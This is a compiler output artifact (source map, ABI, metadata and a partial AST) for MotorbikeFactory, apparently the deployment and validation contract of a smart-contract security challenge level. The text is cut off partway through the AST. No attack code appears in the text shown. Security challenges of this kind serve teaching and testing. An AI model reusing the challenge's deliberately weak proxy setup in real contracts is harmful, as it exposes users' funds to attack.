1717:145::o;260:747:9:-;334:7;371:13;387:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;371:28;;409:19;453:6;431:30;;;;;:::i;:::-;-1:-1:-1;;;;;431:30:9;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;471:27:9;;;;;;;:7;:27;;;;;;;;;:45;;;;;-1:-1:-1;;471:45:9;;;;;;;;;;668:25;;687:4;668:25;;;;;;;;;;;;;;;;;;;658:36;;;;;;;599:37;;;;;;;;;;;;;;;;;;;409:52;;-1:-1:-1;558:79:9;;409:52;;558:20;:79::i;:::-;548:90;;;;;;:146;527:215;;;;;-1:-1:-1;;;527:215:9;;;;;;;;;;;;;;;;;;;;;;;;;;;;896:25;;;915:4;896:25;;;;;;;;;;;;;;;;;;;;;;;886:36;;;;;;;825:39;;;;;;;;;;;;;;;;;;;;;784:81;;813:9;;784:20;:81::i;:::-;774:92;;;;;;:148;753:211;;;;;-1:-1:-1;;;753:211:9;;;;;;;;;;;;;;;;;;;;;;;;;;;;990:9;260:747;-1:-1:-1;;;260:747:9:o;1085:85:0:-;1131:7;1157:6;-1:-1:-1;;;;;1157:6:0;1085:85;:::o;1013:181:9:-;-1:-1:-1;;;;;1168:18:9;;;1108:4;1168:18;;;:7;:18;;;;;;1108:4;;1149:38;;1168:18;1149;:38::i;:::-;1148:39;;1013:181;-1:-1:-1;;;1013:181:9:o;2011:240:0:-;1308:12;:10;:12::i;:::-;-1:-1:-1;;;;;1297:23:0;:7;:5;:7::i;:::-;-1:-1:-1;;;;;1297:23:0;;1289:68;;;;;-1:-1:-1;;;1289:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2099:22:0;::::1;2091:73;;;;-1:-1:-1::0;;;2091:73:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2200:6;::::0;;2179:38:::1;::::0;-1:-1:-1;;;;;2179:38:0;;::::1;::::0;2200:6;::::1;::::0;2179:38:::1;::::0;::::1;2227:6;:17:::0;;-1:-1:-1;;2227:17:0::1;-1:-1:-1::0;;;;;2227:17:0;;;::::1;::::0;;;::::1;::::0;;2011:240::o;598:104:4:-;685:10;598:104;:::o;3188:171:3:-;3263:12;3292:60;3305:6;3313:4;3292:60;;;;;;;;;;;;;;;;;:12;:60::i;726:413::-;1086:20;1124:8;;;726:413::o;3581:193::-;3684:12;3715:52;3737:6;3745:4;3751:1;3754:12;3715:21;:52::i;:::-;3708:59;3581:193;-1:-1:-1;;;;3581:193:3:o;4608:523::-;4735:12;4792:5;4767:21;:30;;4759:81;;;;-1:-1:-1;;;4759:81:3;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4858:18;4869:6;4858:10;:18::i;:::-;4850:60;;;;;-1:-1:-1;;;4850:60:3;;;;;;;;;;;;;;;;;;;;;;;;;;;;4981:12;4995:23;5022:6;-1:-1:-1;;;;;5022:11:3;5042:5;5050:4;5022:33;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;5022:33:3;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4980:75;;;;5072:52;5090:7;5099:10;5111:12;5072:17;:52::i;:::-;5065:59;4608:523;-1:-1:-1;;;;;;;4608:523:3:o;7091:725::-;7206:12;7234:7;7230:580;;;-1:-1:-1;7264:10:3;7257:17;;7230:580;7375:17;;:21;7371:429;;7633:10;7627:17;7693:15;7680:10;7676:2;7672:19;7665:44;7582:145;7772:12;7765:20;;-1:-1:-1;;;7765:20:3;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;;;:::o;:::-;;;;;;;;:::o","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.6.12+commit.27d51765\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/MotorbikeFactory.sol\":\"MotorbikeFactory\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-06/contracts/access/Ownable.sol\":{\"keccak256\":\"0x15e2d5bd4c28a88548074c54d220e8086f638a71ed07e6b3ba5a70066fcf458d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://90faf5851c02f9bd42c5bfb54d4f0421a2612f50ab80b2c4fa24fa3792071cc2\",\"dweb:/ipfs/QmRGM4F2PcGVF85aTfaA9YBhCHHDqrMhRjyp6fGeBTtirb\"]},\"lib/openzeppelin-contracts-06/contracts/proxy/Initializable.sol\":{\"keccak256\":\"0x9abeffe138f098b16557187383ba0f9e8503602fa95cd668132986ee115237ed\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fb863d688f8bf04b846369451afba15e8129b2ee16bd1631c12138c262d1bf68\",\"dweb:/ipfs/QmRE3EmJ1T4Hg5HjGHVupP2a3Vrnd8jRY8GtB6J52QNX9z\"]},\"lib/openzeppelin-contracts-06/contracts/utils/Address.sol\":{\"keccak256\":\"0x28911e614500ae7c607a432a709d35da25f3bc5ddc8bd12b278b66358070c0ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://256c8c8af5eb072bc473226ab2b2187149b8fc04f5f4a4820db22527f5ce8e3c\",\"dweb:/ipfs/QmRvi5BhnL7Rxf85KrJhwM6RRhukm4tzoctRdgQEheNyiN\"]},\"lib/openzeppelin-contracts-06/contracts/utils/Context.sol\":{\"keccak256\":\"0x8d3cb350f04ff49cfb10aef08d87f19dcbaecc8027b0bed12f3275cd12f38cf0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ded47ec7c96750f9bd04bbbc84f659992d4ba901cb7b532a52cd468272cf378f\",\"dweb:/ipfs/QmfBrGtQP7rZEqEg6Wz6jh2N2Kukpj1z5v3CGWmAqrzm96\"]},\"src/levels/Motorbike.sol\":{\"keccak256\":\"0xb83470b9fdd8b6e748fdb575fbd6d215ae87acd76f2a32daf8cb1dee5bbafe05\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a4e8766470cd9fc028f43ddc980f6e7e15f0c4d56a0a941e490169a655986580\",\"dweb:/ipfs/QmUFMexWrfkDhFgiVTUBxh6KqZmQoedS2UToqDC2DxUe79\"]},\"src/levels/MotorbikeFactory.sol\":{\"keccak256\":\"0x6395b1131ea32d8dbb78d2768330fca44d963c87cde537b34b29f8b557addc92\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://0329cc03d9733cfc677a8bbd25570943f60e34a4d4e66afaad1ab136875318c3\",\"dweb:/ipfs/Qmf8iepeBXyvpCPaMwLciQnPKv26pn3XYCcdYxN2p492FS\"]},\"src/levels/base/Level-06.sol\":{\"keccak256\":\"0x5f361ed66f99e554235b246964ec190b7605946d4bdda9d1e781e195cd7d4042\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://dd61d1b56e74f01def821077298e041264471599a5f4fe36cc1c32ee5e21b79f\",\"dweb:/ipfs/QmSTF94B2Kxro444irxu9Z5Hw518AZ98QiTmVG9j6W8s4Z\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.6.12+commit.27d51765"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/MotorbikeFactory.sol":"MotorbikeFactory"},"evmVersion":"istanbul","libraries":{}},"sources":{"lib/openzeppelin-contracts-06/contracts/access/Ownable.sol":{"keccak256":"0x15e2d5bd4c28a88548074c54d220e8086f638a71ed07e6b3ba5a70066fcf458d","urls":["bzz-raw://90faf5851c02f9bd42c5bfb54d4f0421a2612f50ab80b2c4fa24fa3792071cc2","dweb:/ipfs/QmRGM4F2PcGVF85aTfaA9YBhCHHDqrMhRjyp6fGeBTtirb"],"license":"MIT"},"lib/openzeppelin-contracts-06/contracts/proxy/Initializable.sol":{"keccak256":"0x9abeffe138f098b16557187383ba0f9e8503602fa95cd668132986ee115237ed","urls":["bzz-raw://fb863d688f8bf04b846369451afba15e8129b2ee16bd1631c12138c262d1bf68","dweb:/ipfs/QmRE3EmJ1T4Hg5HjGHVupP2a3Vrnd8jRY8GtB6J52QNX9z"],"license":"MIT"},"lib/openzeppelin-contracts-06/contracts/utils/Address.sol":{"keccak256":"0x28911e614500ae7c607a432a709d35da25f3bc5ddc8bd12b278b66358070c0ea","urls":["bzz-raw://256c8c8af5eb072bc473226ab2b2187149b8fc04f5f4a4820db22527f5ce8e3c","dweb:/ipfs/QmRvi5BhnL7Rxf85KrJhwM6RRhukm4tzoctRdgQEheNyiN"],"license":"MIT"},"lib/openzeppelin-contracts-06/contracts/utils/Context.sol":{"keccak256":"0x8d3cb350f04ff49cfb10aef08d87f19dcbaecc8027b0bed12f3275cd12f38cf0","urls":["bzz-raw://ded47ec7c96750f9bd04bbbc84f659992d4ba901cb7b532a52cd468272cf378f","dweb:/ipfs/QmfBrGtQP7rZEqEg6Wz6jh2N2Kukpj1z5v3CGWmAqrzm96"],"license":"MIT"},"src/levels/Motorbike.sol":{"keccak256":"0xb83470b9fdd8b6e748fdb575fbd6d215ae87acd76f2a32daf8cb1dee5bbafe05","urls":["bzz-raw://a4e8766470cd9fc028f43ddc980f6e7e15f0c4d56a0a941e490169a655986580","dweb:/ipfs/QmUFMexWrfkDhFgiVTUBxh6KqZmQoedS2UToqDC2DxUe79"],"license":"MIT"},"src/levels/MotorbikeFactory.sol":{"keccak256":"0x6395b1131ea32d8dbb78d2768330fca44d963c87cde537b34b29f8b557addc92","urls":["bzz-raw://0329cc03d9733cfc677a8bbd25570943f60e34a4d4e66afaad1ab136875318c3","dweb:/ipfs/Qmf8iepeBXyvpCPaMwLciQnPKv26pn3XYCcdYxN2p492FS"],"license":"MIT"},"src/levels/base/Level-06.sol":{"keccak256":"0x5f361ed66f99e554235b246964ec190b7605946d4bdda9d1e781e195cd7d4042","urls":["bzz-raw://dd61d1b56e74f01def821077298e041264471599a5f4fe36cc1c32ee5e21b79f","dweb:/ipfs/QmSTF94B2Kxro444irxu9Z5Hw518AZ98QiTmVG9j6W8s4Z"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/MotorbikeFactory.sol","id":1413,"exportedSymbols":{"MotorbikeFactory":[1412]},"nodeType":"SourceUnit","src":"33:1164:9","nodes":[{"id":1283,"nodeType":"PragmaDirective","src":"33:23:9","nodes":[],"literals":["solidity","<","0.7",".0"]},{"id":1284,"nodeType":"ImportDirective","src":"58:29:9","nodes":[],"absolutePath":"src/levels/base/Level-06.sol","file":"./base/Level-06.sol","scope":1413,"sourceUnit":1741,"symbolAliases":[],"unitAlias":""},{"id":1285,"nodeType":"ImportDirective","src":"88:25:9","nodes":[],"absolutePath":"src/levels/Motorbike.sol","file":"./Motorbike.sol","scope":1413,"sourceUnit":1282,"symbolAliases":[],"unitAlias":""},{"id":1286,"nodeType":"ImportDirective","src":"114:53:9","nodes":[],"absolutePath":"lib/openzeppelin-contracts-06/contracts/utils/Address.sol","file":"openzeppelin-contracts-06/utils/Address.sol","scope":1413,"sourceUnit":827,"symbolAliases":[],"unitAlias":""},{"id":1412,"nodeType":"ContractDefinition","src":"169:1027:9","nodes":[{"id":1292,"nodeType":"VariableDeclaration","src":"210:43:9","nodes":[],"constant":false,"mutability":"mutable","name":"engines","overrides":null,"scope":1412,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_address_$","typeString":"mapping(address => address)"},"typeName":{"id":1291,"keyType":{"id":1289,"name":"address","nodeType":"ElementaryTypeName","src":"218:7:9","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"210:27:9","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_address_$","typeString":"mapping(address => address)"},"valueType":{"id":1290,"name":"address","nodeType":"ElementaryTypeName","src":"229:7:9","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}},"value":null,"visibility":"private"},{"id":1390,"nodeType":"FunctionDefinition","src":"260:747:9","nodes":[],"body":{"id":1389,"nodeType":"Block","src":"343:664:9","nodes":[],"statements":[{"expression":{"argumentTypes":null,"id":1300,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1294,"src":"353:7:9","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":1301,"nodeType":"ExpressionStatement","src":"353:7:9"},{"assignments":[1303],"declarations":[{"constant":false,"id":1303,"mutability":"mutable","name":"engine","nodeType":"VariableDeclaration","overrides":null,"scope":1389,"src":"371:13:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Engine_$1281","typeString":"contract Engine"},"typeName":{"contractScope":null,"id":1302,"name":"Engine","nodeType":"UserDefinedTypeName","referencedDeclaration":1281,"src":"371:6:9","typeDescriptions":{"typeIdentifier":"t_contract$_Engine_$1281","typeString":"contract Engine"}},"value":null,"visibility":"internal"}],"id":1307,"initialValue":{"argumentTypes":null,"arguments":[],"expression":{"argumentTypes":[],"id":1305,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"387:10:9","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Engine_$1281_$","typeString":"function () returns (contract Engine)"},"typeName":{"contractScope":null,"id":1304,"name":"Engine","nodeType":"UserDefinedTypeName","referencedDeclaration":1281,"src":"391:6:9","typeDescriptions":{"typeIdentifier":"t_contract$_Engine_$1281","typeString":"contract Engine"}}},"id":1306,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"387:12:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Engine_$1281","typeString":"contract Engine"}},"nodeType":"VariableDeclarationStatement","src":"371:28:9"},{"assignments":[1309],"declarations":[{"constant":false,"id":1309,"mutability":"mutable","name":"motorbike","nodeType":"VariableDeclaration","overrides":null,"scope":1389,"src":"409:19:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Motorbike_$1171","typeString":"contract Motorbike"},"typeName":{"contractScope":null,"id":1308,"name":"Motorbike","nodeType":"UserDefinedTypeName","referencedDeclaration":1171,"src":"409:9:9","typeDescriptions":{"typeIdentifier":"t_contract$_Motorbike_$1171","typeString":"contract Motorbike"}},"value":null,"visibility":"internal"}],"id":1317,"initialValue":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1314,"name":"engine","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1303,"src":"453:6:9","typeDescriptions":{"typeIdentifier":"t_contract$_Engine_$1281","typeString":"contract Engine"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Engine_$1281","typeString":"contract Engine"}],"id":1313,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"445:7:9","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":1312,"name":"address","nodeType":"ElementaryTypeName","src":"445:7:9","typeDescriptions":{"typeIdentifier":null,"typeString":null}}},"id":1315,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"445:15:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":1311,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"431:13:9","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_address_$returns$_t_contract$_Motorbike_$1171_$","typeString":"function (address) returns (contract Motorbike)"},"typeName":{"contractScope":null,"id":1310,"name":"Motorbike","nodeType":"UserDefinedTypeName","referencedDeclaration":1171,"src":"435:9:9","typeDescriptions":{"typeIdentifier":"t_contract$_Motorbike_$1171","typeString":"contract Motorbike"}}},"id":1316,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"431:30:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Motorbike_$1171","typeString":"contract Motorbike"}},"nodeType":"VariableDeclarationStatement","src":"409:52:9"},{"expression":{"argumentTypes":null,"id":1328,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"baseExpression":{"argumentTypes":null,"id":1318,"name":"engines","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1292,"src":"471:7:9","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_address_$","typeString":"mapping(address => address)"}},"id":1323,"indexExpression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1321,"name":"motorbike","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1309,"src":"487:9:9","typeDescriptions":{"typeIdentifier":"t_contract$_Motorbike_$1171","typeString":"contract Motorbike"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Motorbike_$1171","typeString":"contract Motorbike"}],"id":1320,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"479:7:9","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":1319,"name":"address","nodeType":"ElementaryTypeName","src":"479:7:9","typeDescriptions":{"typeIdentifier":null,"typeString":null}}},"id":1322,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"479:18:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"471:27:9","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1326,"name":"engine","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1303,"src":"509:6:9","typeDescriptions":{"typeIdentifier":"t_contract$_Engine_$1281","typeString":"contract Engine"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Engine_$1281","typeString":"contract Engine"}],"id":1325,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"501:7:9","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":1324,"name":"address","nodeType":"ElementaryTypeName","src":"501:7:9","typeDescriptions":{"typeIdentifier":null,"typeString":null}}},"id":1327,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"501:15:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"471:45:9","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":1329,"nodeType":"ExpressionStatement","src":"471:45:9"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"id":1353,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"arguments":[{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1336,"name":"motorbike","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1309,"src":"587:9:9","typeDescriptions":{"typeIdentifier":"t_contract$_Motorbike_$1171","typeString":"contract Motorbike"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Motorbike_$1171","typeString":"contract Motorbike"}],"id":1335,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"579:7:9","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":1334,"name":"address","nodeType":"ElementaryTypeName","src":"579:7:9","typeDescriptions":{"typeIdentifier":null,"typeString":null}}},"id":1337,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"579:18:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"argumentTypes":null,"arguments":[{"argumentTypes":null,"hexValue":"75706772616465722829","id":1340,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"623:12:9","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_af26974550feebac4d9c62903e147ef14e295e32f6ab5cbff0e3f4b1392b55a7","typeString":"literal_string \"upgrader()\""},"value":"upgrader()"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_af26974550feebac4d9c62903e147ef14e295e32f6ab5cbff0e3f4b1392b55a7","typeString":"literal_string \"upgrader()\""}],"expression":{"argumentTypes":null,"id":1338,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"599:3:9","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":1339,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberName":"encodeWithSignature","nodeType":"MemberAccess","referencedDeclaration":null,"src":"599:23:9","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":1341,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"599:37:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"argumentTypes":null,"id":1332,"name":"Address","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":826,"src":"558:7:9","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Address_$826_$","typeString":"type(library Address)"}},"id":1333,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"functionCall","nodeType":"MemberAccess","referencedDeclaration":601,"src":"558:20:9","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (address,bytes memory) returns (bytes memory)"}},"id":1342,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"558:79:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":1331,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"548:9:9","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":1343,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"548:90:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"arguments":[{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1349,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"687:4:9","typeDescriptions":{"typeIdentifier":"t_contract$_MotorbikeFactory_$1412","typeString":"contract MotorbikeFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_MotorbikeFactory_$1412","typeString":"contract 